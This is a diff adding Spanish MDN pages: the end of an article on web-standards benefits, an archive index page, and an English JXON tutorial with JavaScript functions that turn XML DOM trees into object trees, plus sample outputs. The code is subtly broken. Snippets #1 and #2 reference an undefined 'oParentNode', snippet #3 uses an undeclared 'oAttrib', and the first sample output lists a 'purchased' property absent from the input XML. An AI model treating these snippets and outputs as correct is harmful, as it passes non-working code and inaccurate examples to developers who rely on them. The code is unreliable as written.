+<p>Cuando los webmasters asumen la dirección de un sitio creado por otros, el código escrito por los anteriores desarrolladores puede ser todo un reto. En muchos casos, tienen que enfrentarse con un código HTML de mala calidad, que además contiene características indocumentadas, hacks, o prácticas de marcado peculiares. La carencia de documentación es a menudo un problema.</p>
+<p>El siguiente documento: <a class="external" href="http://www.w3.org/QA/2002/07/WebAgency-Requirements">standards-compliance in requirements</a>, aporta un modo muy eficaz de medir la calidad del producto final, el W3C que es un juez imparcial.</p>
+<p>Como los estándares están muy bien documentados, cualquier persona que asuma código estándar puede trabajar con él de inmediato; sin tener que familiarizarse con las prácticas de codificación del desarrollador anterior. Esto además, reduce considerablemente la dependencia de un desarrollador concreto.</p>
+<h2 id="Ventajas_para_los_visitantes_del_sitio" name="Ventajas_para_los_visitantes_del_sitio">Ventajas para los visitantes del sitio</h2>
+<p>Gracias a la accesibilidad, a la rapidez en la carga de las páginas y a la mayor compatibilidad con múltiples navegadores (sin limitarse a uno o dos navegadores usados en las pruebas), es más probable que sus visitantes aprecien sus servicios y vuelvan mañana.</p>
+<h2 id="Conclusi.C3.B3n" name="Conclusi.C3.B3n">Conclusión</h2>
+<p>Utilizar los estándares web y separar el diseño de los contenidos aporta un montón de ventajas, hoy y mañana.</p>
+<p>Hoy esto significa ampliar la audiencia, reducir los coste de producción de nuevos contenidos, y mejorar la accesibilidad.</p>
+<p>Mañana esto significará reducir la dependencia de proveedores, reducir costes en mantenimiento, y un diseño más flexible para el sitio. Por último pero no menos importante, el uso de estándares abre las puertas a las tecnologías XML.</p>
+<p>Todos estos factores también contribuyen a facilitar la administración del sitio, aumentar el número de visitas y amortizar la inversión. Técnicos, vendedores, y contables, todos pueden beneficiarse de un sitio Web basado en estándares. Es más de lo que uno podría esperar.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">interwikis</span></p>
+
+<p></p>
diff --git a/files/es/archive/index.html b/files/es/archive/index.html
new file mode 100644
index 0000000000..4f4a70c023
--- /dev/null
+++ b/files/es/archive/index.html
@@ -0,0 +1,21 @@
+---
+title: Archive of obsolete content
+slug: Archive
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive
+---
+<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p>
+
+<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p>
+
+<div class="note">
+<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> before moving content here.</p>
+</div>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<p>{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}</p>
diff --git a/files/es/archive/jxon/index.html b/files/es/archive/jxon/index.html
new file mode 100644
index 0000000000..9fb34dede3
--- /dev/null
+++ b/files/es/archive/jxon/index.html
@@ -0,0 +1,1509 @@
+---
+title: JXON
+slug: Archive/JXON
+tags:
+  - Documentos
+translation_of: Archive/JXON
+---
+<p><strong>JXON</strong> (lossless <strong>J</strong>avaScript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation) is a generic name by which is defined the representation of JavaScript Objects using <a href="/en/XML" title="en/XML">XML</a>. There are no real standards for this conversion, but <a href="#The_Parker_Convention" title="The Parker Convention">some conventions begin to appear on the web</a>. There are some cases in which the whole content of an XML document must be read from the JavaScript interpreter (like for web-apps languages or settings XML documents, for example). In these cases JXON could represent the most practical way.</p>
+
+<p>In this article we will show how to convert a parsed XML <a href="/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>document</code></a> (i.e. an instance of <a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#i-Document"><code>Document</code></a>) to a JavaScript Object tree (i.e. a tree of nested instances of <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a>) and viceversa, with some different algorithms. It could be useful to read the <a href="/en/XML_Introduction" title="en/XML_Introduction">XML introduction article</a> first.</p>
+
+<p>If you want <strong>a complete bidirectional JXON library</strong> (modelled on the <a href="/en/JavaScript/Reference/Global_Objects/JSON" title="en/JavaScript/Reference/Global_Objects/JSON"><code>JSON</code></a> global object), skip to the <a href="#Appendix.3A_a_complete.2C_bidirectional.2C_JXON_library" title="A complete JXON library">dedicated paragraph</a> (but please read the <a href="#const_compatibility" title="#const_compatibility">note about the <code>const</code> statement compatibility</a>).</p>
+
+<div class="note"><strong>Note:</strong> If you are interested to address only some parts of an XML document (and are not starting in JavaScript/JSON for templating purposes), use <a href="/en/XPath" title="en/XPath">XPath</a> instead of converting the whole document into JSON.</div>
+
+<h2 id="Conversion_snippets">Conversion snippets</h2>
+
+<p>Now imagine you have this sample XML document:</p>
+
+<h5 id="example.xml">example.xml</h5>
+
+<pre class="brush: xml notranslate">&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog SYSTEM "catalog.dtd"&gt;
+&lt;catalog&gt;
+  &lt;product description="Cardigan Sweater"&gt;
+   &lt;catalog_item gender="Men's"&gt;
+     &lt;item_number&gt;QWZ5671&lt;/item_number&gt;
+     &lt;price&gt;39.95&lt;/price&gt;
+     &lt;size description="Medium"&gt;
+       &lt;color_swatch image="red_cardigan.jpg"&gt;Red&lt;/color_swatch&gt;
+       &lt;color_swatch image="burgundy_cardigan.jpg"&gt;Burgundy&lt;/color_swatch&gt;
+     &lt;/size&gt;
+     &lt;size description="Large"&gt;
+       &lt;color_swatch image="red_cardigan.jpg"&gt;Red&lt;/color_swatch&gt;
+       &lt;color_swatch image="burgundy_cardigan.jpg"&gt;Burgundy&lt;/color_swatch&gt;
+     &lt;/size&gt;
+   &lt;/catalog_item&gt;
+   &lt;catalog_item gender="Women's"&gt;
+     &lt;item_number&gt;RRX9856&lt;/item_number&gt;
+     &lt;discount_until&gt;Dec 25, 1995&lt;/discount_until&gt;
+     &lt;price&gt;42.50&lt;/price&gt;
+     &lt;size description="Medium"&gt;
+       &lt;color_swatch image="black_cardigan.jpg"&gt;Black&lt;/color_swatch&gt;
+     &lt;/size&gt;
+   &lt;/catalog_item&gt;
+  &lt;/product&gt;
+  &lt;script type="text/javascript"&gt;&lt;![CDATA[function matchwo(a,b) {
+    if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }
+    else { return 0; }
+}]]&gt;&lt;/script&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>First, create a DOM tree like the previous example as described in the <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">How to Create a DOM tree</a> article. If you have already have a DOM tree from using <a href="/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a>, skip to the next paragraph.</p>
+
+<div class="note"><strong>Note:</strong> If you are using an instance of <a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a> in order to retrieve your XML file, please use the <code>yourRequest.responseXML</code> property to get a <em>parsed</em> XML document. Don't use <code>yourRequest.responseText</code>!</div>
+
+<p>The algorithms proposed here (see: <a href="#Algorithm_.231.3A_a_verbose_way" title="Go to JXON algorithm #1">#1</a>, <a href="#Algorithm_.232.3A_a_less_verbose_way" title="Go to JXON algorithm #2">#2</a>, <a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">#3</a>, <a href="#Algorithm_.234.3A_a_very_minimalist_way" title="Go to JXON algorithm #4">#4</a>) will consider only the following types of nodes and their attributes:</p>
+
+<ol>
+ <li><a href="/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a> (only as function argument),</li>
+ <li><a href="/en-US/docs/Web/API/DocumentFragment" title="The DocumentFragment interface represents a minimal document object that has no parent. It is used as a lightweight version of Document that stores a segment of a document structure comprised of nodes just like a standard document. The key difference is that because the document fragment isn't part of the active document tree structure, changes made to the fragment don't affect the document, cause reflow, or incur any performance impact that can occur when changes are made."><code>DocumentFragment</code></a> (only as function argument),</li>
+ <li><a href="/en-US/docs/Web/API/Element" title="Element is the most general base class from which all objects in a Document inherit. It only has methods and properties common to all kinds of element. More specific classes inherit from Element."><code>Element</code></a>,</li>
+ <li><a href="/en-US/docs/Web/API/Text" title="The Text interface represents the textual content of Element or Attr.  If an element has no markup within its content, it has a single child implementing Text that contains the element's text.  However, if the element contains markup, it is parsed into information items and Text nodes that form its children."><code>Text</code></a> (never as function argument),</li>
+ <li><a href="/en-US/docs/Web/API/CDATASection" title="The CDATASection interface represents a CDATA section that can be used within XML to include extended portions of unescaped text, such that the symbols &lt; and &amp; do not need escaping as they normally do within XML when used as text."><code>CDATASection</code></a> (never as function argument),</li>
+ <li><a href="/en-US/docs/Web/API/Attr" title="This type represents a DOM element's attribute as an object. In most DOM methods, you will probably directly retrieve the attribute as a string (e.g., Element.getAttribute(), but certain functions (e.g., Element.getAttributeNode()) or means of iterating give Attr types."><code>Attr</code></a> (never as function argument).</li>
+</ol>
+
+<p>This is a good and <strong>standardized</strong> compromise for a JavaScript usage, since all of the information of an XML Document is contained in these node types. All other information (like processing instructions, schemas, comments, etc.) will be lost. This type of algorithm is still considered <strong>lossless</strong>, since what is lost is <strong>meta-information</strong> and not <strong>information</strong>.</p>
+
+<p>In order to avoid conflicts, the representation of nodes and attributes names is <strong>case insensitive</strong> (always rendered in <strong>lower case</strong>), so objects' local property names set using JavaScript must always have some kind of capitalization (that is, at least one capital letter somewhere in their names), as you can see below.</p>
+
+<p>The following algorithms are somewhat based on the <a href="#The_Parker_Convention" title="The Parker Convention">Parker convention, version 0.4</a>, which prescribes the <strong>transformation of <a href="/en/DOM/Node.nodeName" title="en/DOM/Node.nodeName">tags names</a> into <a href="/en/JavaScript/Guide/Working_with_Objects#Objects_and_properties" title="en/Core_JavaScript_1.5_Guide/Working_with_Objects#Objects_and_properties">object properties names</a></strong> and the <strong>recognition of the <a href="/en/JavaScript/Reference/Operators/typeof" title="en/JavaScript/Reference/Operators/typeof"><code>typeof</code></a></strong> of all the collected <a href="/en/DOM/Node.nodeValue" title="en/DOM/Node.nodeValue"><code>text content</code></a> of each tag (plain text parsing); but <a href="#Code_considerations" title="Code considerations">with some differences</a> (so, one can say that we follow <em>a our convention</em>). Moreover, <strong>all algorithms are equally lossless for the contemplated nodes</strong>.</p>
+
+<p>We consider <strong><a href="#Algorithm_.233.3A_a_synthetic_technique" title="Go to JXON algorithm #3">the third algorithm</a> as the most representative and practical JXON parsing algorithm</strong>.</p>
+
+<p>Now let's serialize <code>doc</code> — the DOM tree — to a JavaScript Object Tree (you can read more about <a href="/en/JavaScript/Guide/Working_with_Objects" title="Working with Objects">working with Objects</a> and <a href="/en/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="Introduction to Object-Oriented JavaScript – MDC">how Javascript is Object-Oriented</a>). We can use several algorithms to convert its content to a Javascript Object Tree.</p>
+
+<h3 id="Algorithm_1_a_verbose_way">Algorithm #1: a verbose way</h3>
+
+<p>This simple recursive constructor will convert an XML DOM tree to a JavaScript Object tree. The text content of each element is stored into the <code>keyValue</code> property, while <code>nodeAttributes</code>, if they exist, are listed under the child object <code>keyAttributes</code>. The constructor's argument can be the entire XML <code>Document</code>, a <code>DocumentFragment</code> or simply an <code>Element</code> node.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  JXON Snippet #1 - Mozilla Developer Network
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function parseText (sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(?:true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function JXONTree (oXMLParent) {
+  var nAttrLen = 0, nLength = 0, sCollectedTxt = "";
+  if (oXMLParent.hasChildNodes()) {
+    for (var oNode, sProp, vContent, nItem = 0; nItem &lt; oXMLParent.childNodes.length; nItem++) {
+      oNode = oXMLParent.childNodes.item(nItem);
+      if ((oNode.nodeType - 1 | 1) === 3) { sCollectedTxt += oNode.nodeType === 3 ? oNode.nodeValue.trim() : oNode.nodeValue; } // nodeType is "Text" (3) or "CDATASection" (4)
+      else if (oNode.nodeType === 1 &amp;&amp; !oNode.prefix) { // nodeType is "Element" (1)
+        sProp = oNode.nodeName.toLowerCase();
+        vContent = new JXONTree(oNode);
+        if (this.hasOwnProperty(sProp)) {
+          if (this[sProp].constructor !== Array) { this[sProp] = [this[sProp]]; }
+          this[sProp].push(vContent);
+        } else { this[sProp] = vContent; nLength++; }
+      }
+    }
+    this.keyValue = parseText(sCollectedTxt);
+  } else { this.keyValue = null; }
+  if (oParentNode.hasAttributes &amp;&amp; oXMLParent.hasAttributes()) {
+    var oAttrib;
+    this.keyAttributes = {};
+    for (nAttrLen; nAttrLen &lt; oXMLParent.attributes.length; nAttrLen++) {
+      oAttrib = oXMLParent.attributes.item(nAttrLen);
+      this.keyAttributes[oAttrib.name.toLowerCase()] = parseText(oAttrib.value.trim());
+    }
+  }
+  /*
+  * Optional properties...
+
+  this.keyLength = nLength;
+  this.attributesLength = nAttrLen;
+  // this.DOMNode = oXMLParent;
+
+  */
+
+  /* Object.freeze(this); */
+}
+
+/*
+* Optional methods... Uncomment the optional properties first!
+
+JXONTree.prototype.valueOf = function () { return this.keyValue; };
+JXONTree.prototype.toString = function () { return String(this.keyValue); };
+JXONTree.prototype.getItem = function (nItem) {
+  if (nLength === 0) { return null; }
+  var nCount = 0;
+  for (var sKey in this) { if (nCount === nItem) { return this[sKey]; } nCount++; }
+  return null;
+};
+JXONTree.prototype.getAttribute = function (nAttrId) {
+  if (nAttrLen === 0 || nAttrId + 1 &gt; nAttrLen) { return null; }
+  var nAttr = 0;
+  for (var sAttrName in this.keyAttributes) { if (nAttr === nAttrId) { return this.keyAttributes[sAttrName]; } nAttr++; }
+  return null;
+};
+JXONTree.prototype.hasChildren = function () { return this.keyLength &gt; 0; };
+
+*/
+
+var myObject = new JXONTree(doc);
+// we got our javascript object! try: alert(JSON.stringify(myObject));
+</pre>
+
+<div class="note"><strong>Note:</strong> If you want to freeze the whole object tree (because of the "static" nature of an XML document), uncomment the string: <code>/* Object.freeze(this); */</code>. The <code><a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a></code> method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. In essence the object tree is made effectively immutable.</div>
+
+<p>With this algorithm <a href="#example.xml" title="Go to the sample XML document">our example</a> becomes:</p>
+
+<pre class="brush: js notranslate">{
+ "catalog": {
+   "product": {
+     "catalog_item": [{
+       "item_number": {
+         "keyValue": "QWZ5671"
+       },
+       "price": {
+         "keyValue": 39.95
+       },
+       "size": [{
+         "color_swatch": [{
+           "keyValue": "Red",
+           "keyAttributes": {
+             "image": "red_cardigan.jpg"
+           }
+         }, {
+           "keyValue": "Burgundy",
+           "keyAttributes": {
+             "image": "burgundy_cardigan.jpg"
+           }
+         }],
+         "keyValue": null,
+         "keyAttributes": {
+           "description": "Medium"
+         }
+       }, {
+         "color_swatch": [{
+           "keyValue": "Red",
+           "keyAttributes": {
+             "image": "red_cardigan.jpg"
+           }
+         }, {
+           "keyValue": "Burgundy",
+           "keyAttributes": {
+             "image": "burgundy_cardigan.jpg"
+           }
+         }],
+         "purchased": {
+           "keyValue": null
+         },
+         "keyValue": null,
+         "keyAttributes": {
+           "description": "Large"
+         }
+       }],
+       "keyValue": null,
+       "keyAttributes": {
+         "gender": "Men's"
+       }
+     }, {
+       "item_number": {
+         "keyValue": "RRX9856"
+       },
+       "discount_until": {
+         "keyValue": new Date(1995, 11, 25)
+       },
+       "price": {
+         "keyValue": 42.5
+       },
+       "size": {
+         "color_swatch": {
+           "keyValue": "Black",
+           "keyAttributes": {
+             "image": "black_cardigan.jpg"
+           }
+         },
+         "keyValue": null,
+         "keyAttributes": {
+           "description": "Medium"
+         }
+       },
+       "keyValue": null,
+       "keyAttributes": {
+         "gender": "Women's"
+       }
+     }],
+     "keyValue": null,
+     "keyAttributes": {
+       "description": "Cardigan Sweater"
+     }
+   },
+   "script": {
+     "keyValue": "function matchwo(a,b) {\n if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n else { return 0; }\n}",
+     "keyAttributes": {
+       "type": "text/javascript"
+     }
+   },
+   "keyValue": null
+ },
+ "keyValue": null
+}
+</pre>
+
+<p>This is a recommanded technique if you don't know the structure of the XML document.</p>
+
+<h3 id="Algorithm_2_a_less_verbose_way">Algorithm #2: a less verbose way</h3>
+
+<p>Here is another, simpler, conversion method, in which <code>nodeAttributes</code> are listed under the same object of child nodes but have the “@” prefix (as suggested by the <a href="http://badgerfish.ning.com/" title="BadgerFish convention">BadgerFish Convention</a>). As above, the text content is stored into the <code>keyValue</code> property. The constructor's argument can be the entire XML <code>Document</code>, a <code>DocumentFragment</code> or simply an <code>Element</code> node of it.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  JXON Snippet #2 - Mozilla Developer Network
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function parseText (sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(?:true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function JXONTree (oXMLParent) {
+  if (oXMLParent.hasChildNodes()) {
+    var sCollectedTxt = "";
+    for (var oNode, sProp, vContent, nItem = 0; nItem &lt; oXMLParent.childNodes.length; nItem++) {
+      oNode = oXMLParent.childNodes.item(nItem);
+      if ((oNode.nodeType - 1 | 1) === 3) { sCollectedTxt += oNode.nodeType === 3 ? oNode.nodeValue.trim() : oNode.nodeValue; }
+      else if (oNode.nodeType === 1 &amp;&amp; !oNode.prefix) {
+        sProp = oNode.nodeName.toLowerCase();
+        vContent = new JXONTree(oNode);
+        if (this.hasOwnProperty(sProp)) {
+          if (this[sProp].constructor !== Array) { this[sProp] = [this[sProp]]; }
+          this[sProp].push(vContent);
+        } else { this[sProp] = vContent; }
+      }
+    }
+    if (sCollectedTxt) { this.keyValue = parseText(sCollectedTxt); }
+  }
+  if (oParentNode.hasAttributes &amp;&amp; oXMLParent.hasAttributes()) {
+    var oAttrib;
+    for (var nAttrib = 0; nAttrib &lt; oXMLParent.attributes.length; nAttrib++) {
+      oAttrib = oXMLParent.attributes.item(nAttrib);
+      this["@" + oAttrib.name.toLowerCase()] = parseText(oAttrib.value.trim());
+    }
+  }
+  /* Object.freeze(this); */
+}
+
+var myObject = new JXONTree(doc);
+// we got our javascript object! try: alert(JSON.stringify(myObject));
+</pre>
+
+<div class="note"><strong>Note:</strong> If you want to freeze the whole object tree (because of the "static" nature of an XML document), uncomment the string: <code>/* Object.freeze(this); */</code>. The <code><a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a></code> method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. In essence the object tree is made effectively immutable.</div>
+
+<p>With this algorithm <a href="#example.xml" title="Go to the sample XML document">our example</a> becomes:</p>
+
+<pre class="brush: js notranslate">{
+  "catalog": {
+    "product": {
+      "catalog_item": [{
+        "item_number": {
+          "keyValue": "QWZ5671"
+        },
+        "price": {
+          "keyValue": 39.95
+        },
+        "size": [{
+          "color_swatch": [{
+            "keyValue": "Red",
+            "@image": "red_cardigan.jpg"
+          }, {
+            "keyValue": "Burgundy",
+            "@image": "burgundy_cardigan.jpg"
+          }],
+          "@description": "Medium"
+        }, {
+          "color_swatch": [{
+            "keyValue": "Red",
+            "@image": "red_cardigan.jpg"
+          }, {
+            "keyValue": "Burgundy",
+            "@image": "burgundy_cardigan.jpg"
+          }],
+          "@description": "Large"
+        }],
+        "@gender": "Men's"
+      }, {
+        "item_number": {
+          "keyValue": "RRX9856"
+        },
+        "discount_until": {
+          "keyValue": new Date(1995, 11, 25)
+        },
+        "price": {
+          "keyValue": 42.5
+        },
+        "size": {
+          "color_swatch": {
+            "keyValue": "Black",
+            "@image": "black_cardigan.jpg"
+          },
+          "@description": "Medium"
+        },
+        "@gender": "Women's"
+      }],
+      "@description": "Cardigan Sweater"
+    },
+    "script": {
+      "keyValue": "function matchwo(a,b) {\n  if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n  else { return 0; }\n}",
+      "@type": "text/javascript"
+    }
+  }
+}
+</pre>
+
+<p>This is a possible technique to use if you partially know the structure of the XML document.</p>
+
+<h3 id="Algorithm_3_a_synthetic_technique">Algorithm #3: a synthetic technique</h3>
+
+<p>Here is another method of conversion. This algorithm is the closest to the <a href="#The_Parker_Convention" title="The Parker Convention">Parker convention</a>. It is very similar to the previous one, except that nodes which do not contain other recognizable nodes than <code>Text</code> or <code>CDATASection</code> are not treated as objects, but directly as booleans, strings, numbers or <code>Date</code> objects (see the <a href="#The_Parker_Convention" title="The Parker Convention">Parker convention</a>). Empty nodes (i.e. which do not contain other <code>Element</code> nodes, <code>Text</code> nodes, <code>CDATASection</code> nodes or <code>Attr</code> nodes) have the default value <code>true</code> (see the <a href="#Code_considerations" title="Code considerations">Code considerations</a>). Also, this time we use a function instead of a constructor. The function's argument can be the entire XML <a href="/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree."><code>Document</code></a>, a <a href="/en-US/docs/Web/API/DocumentFragment" title="The DocumentFragment interface represents a minimal document object that has no parent. It is used as a lightweight version of Document that stores a segment of a document structure comprised of nodes just like a standard document. The key difference is that because the document fragment isn't part of the active document tree structure, changes made to the fragment don't affect the document, cause reflow, or incur any performance impact that can occur when changes are made."><code>DocumentFragment</code></a>, or simply an <a href="/en-US/docs/Web/API/Element" title="Element is the most general base class from which all objects in a Document inherit. It only has methods and properties common to all kinds of element. More specific classes inherit from Element."><code>Element</code></a> node within it. <code>nodeAttributes</code> have the “@” prefix, as suggested by the <a href="http://badgerfish.ning.com/" title="BadgerFish convention">BadgerFish Convention</a>. <strong>In many cases, this is the most practical conversion method</strong>.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  JXON Snippet #3 - Mozilla Developer Network
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/JXON
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function parseText (sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(?:true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function getJXONTree (oXMLParent) {
+  var vResult = /* put here the default value for empty nodes! */ true, nLength = 0, sCollectedTxt = "";
+  if (oXMLParent.hasAttributes &amp;&amp; oXMLParent.hasAttributes()) {
+    vResult = {};
+    for (nLength; nLength &lt; oXMLParent.attributes.length; nLength++) {
+      oAttrib = oXMLParent.attributes.item(nLength);
+      vResult["@" + oAttrib.name.toLowerCase()] = parseText(oAttrib.value.trim());
+    }
+  }
+  if (oXMLParent.hasChildNodes()) {
+    for (var oNode, sProp, vContent, nItem = 0; nItem &lt; oXMLParent.childNodes.length; nItem++) {
+      oNode = oXMLParent.childNodes.item(nItem);
+      if (oNode.nodeType === 4) { sCollectedTxt += oNode.nodeValue; } /* nodeType is "CDATASection" (4) */
+      else if (oNode.nodeType === 3) { sCollectedTxt += oNode.nodeValue.trim(); } /* nodeType is "Text" (3) */
+      else if (oNode.nodeType === 1 &amp;&amp; !oNode.prefix) { /* nodeType is "Element" (1) */
+        if (nLength === 0) { vResult = {}; }
+        sProp = oNode.nodeName.toLowerCase();
+        vContent = getJXONTree(oNode);
+        if (vResult.hasOwnProperty(sProp)) {
+          if (vResult[sProp].constructor !== Array) { vResult[sProp] = [vResult[sProp]]; }
+          vResult[sProp].push(vContent);
+        } else { vResult[sProp] = vContent; nLength++; }
+      }
+    }
+  }
+  if (sCollectedTxt) { nLength &gt; 0 ? vResult.keyValue = parseText(sCollectedTxt) : vResult = parseText(sCollectedTxt); }
+  /* if (nLength &gt; 0) { Object.freeze(vResult); } */
+  return vResult;
+}
+
+var myObject = getJXONTree(doc);
+// we got our javascript object! try: alert(JSON.stringify(myObject));
+</pre>
+
+<div class="note"><strong>Note:</strong> If you want to freeze the whole object tree (because of the "static" nature of an XML document), uncomment the string: <code>/* if (nLength &gt; 0) { Object.freeze(vResult); } */</code>. The <code><a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a></code> method prevents new properties from being added to it, prevents existing properties from being removed and prevents existing properties, or their enumerability, configurability, or writability, from being changed. In essence the object tree is made effectively immutable.</div>
+
+<p>With this algorithm, <a href="#example.xml" title="Go to the sample XML document">our example</a> becomes:</p>
+
+<pre class="brush: js notranslate">{
+  "catalog": {
+    "product": {
+      "@description": "Cardigan Sweater",
+      "catalog_item": [{
+        "@gender": "Men's",
+        "item_number": "QWZ5671",
+        "price": 39.95,
+        "size": [{
+          "@description": "Medium",
+          "color_swatch": [{
+            "@image": "red_cardigan.jpg",
+            "keyValue": "Red"
+          }, {
+            "@image": "burgundy_cardigan.jpg",
+            "keyValue": "Burgundy"
+          }]
+        }, {
+          "@description": "Large",
+          "color_swatch": [{
+            "@image": "red_cardigan.jpg",
+            "keyValue": "Red"
+          }, {
+            "@image": "burgundy_cardigan.jpg",
+            "keyValue": "Burgundy"
+          }]
+        }]
+      }, {
+        "@gender": "Women's",
+        "item_number": "RRX9856",
+        "discount_until": new Date(1995, 11, 25),
+        "price": 42.5,
+        "size": {
+          "@description": "Medium",
+          "color_swatch": {
+            "@image": "black_cardigan.jpg",
+            "keyValue": "Black"
+          }
+        }
+      }]
+    },
+    "script": {
+      "@type": "text/javascript",
+      "keyValue": "function matchwo(a,b) {\n  if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n  else { return 0; }\n}"
+    }
+  }
+}
+</pre>
+
+<p>This is a recommended technique if you know the structure of the XML document.</p>
+
+<h3 id="Algorithm_4_a_very_minimalist_way">Algorithm #4: a very minimalist way</h3>
+
+<p>The following is another possible way to do the conversion. It is very close to the <a href="#The_Parker_Convention" title="The Parker Convention">Parker convention</a>, too. With this algorithm, all <a href="/en-US/docs/Web/API/Element" title="Element is the most general base class from which all objects in a Document inherit. It only has methods and properties common to all kinds of element. More specific classes inherit from Element."><code>Element</code></a> nodes that contain other child <a href="/en-US/docs/Web/API/Element" title="Element is the most general base class from which all objects in a Document inherit. It only has methods and properties common to all kinds of element. More specific classes inherit from Element."><code>Element</code></a>, <a href="/en-US/docs/Web/API/Text" title="The Text interface represents the textual content of Element or Attr.  If an element has no markup within its content, it has a single child implementing Text that contains the element's text.  However, if the element contains markup, it is parsed into information items and Text nodes that form its children."><code>Text</code></a>, or <a href="/en-US/docs/Web/API/CDATASection" title="The CDATASection interface represents a CDATA section that can be used within XML to include extended portions of unescaped text, such that the symbols &lt; and &amp; do not need escaping as they normally do within XML when used as text."><code>CDATASection</code></a> nodes in the same level are treated as instances of <code>Boolean</code>, <code>Number</code>, <code>String</code>, or <code>Date</code> Constructors. So any child <code>Element</code> node, if exists, will be nested in these types of objects.</p>
+
+<p>For example:</p>
+
+<pre class="brush: xml notranslate">&lt;employee type="usher"&gt;John Smith&lt;/employee&gt;
+&lt;manager&gt;Lisa Carlucci&lt;/manager&gt;
+</pre>
+
+<p>becomes</p>
+
+<pre class="brush: js notranslate">var myObject = {
+  "employee": new String("John Smith"),
+  "manager": "Lisa Carlucci"
+};
+
+myObject.employee["@type"] = "usher";
+
+// test
+
+alert(myObject.manager); // "Lisa Carlucci"
+alert(myObject.employee["@type"]); // "usher"
+alert(myObject.employee); // "John Smith"
+</pre>
+
+<div class="note"><strong>Note:</strong> This algorithm represents <em>a special case of conversion</em>. <strong>The generated JavaScript Object tree is not <a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="en/JavaScript/Reference/Global_Objects/JSON/stringify">stringifyable</a></strong> (see the <a href="#Code_considerations" title="Code considerations">Code considerations</a>). It is very practical for internal JavaScript access, but don't use it if you want to transfer the tree via JSON string!</div>
+
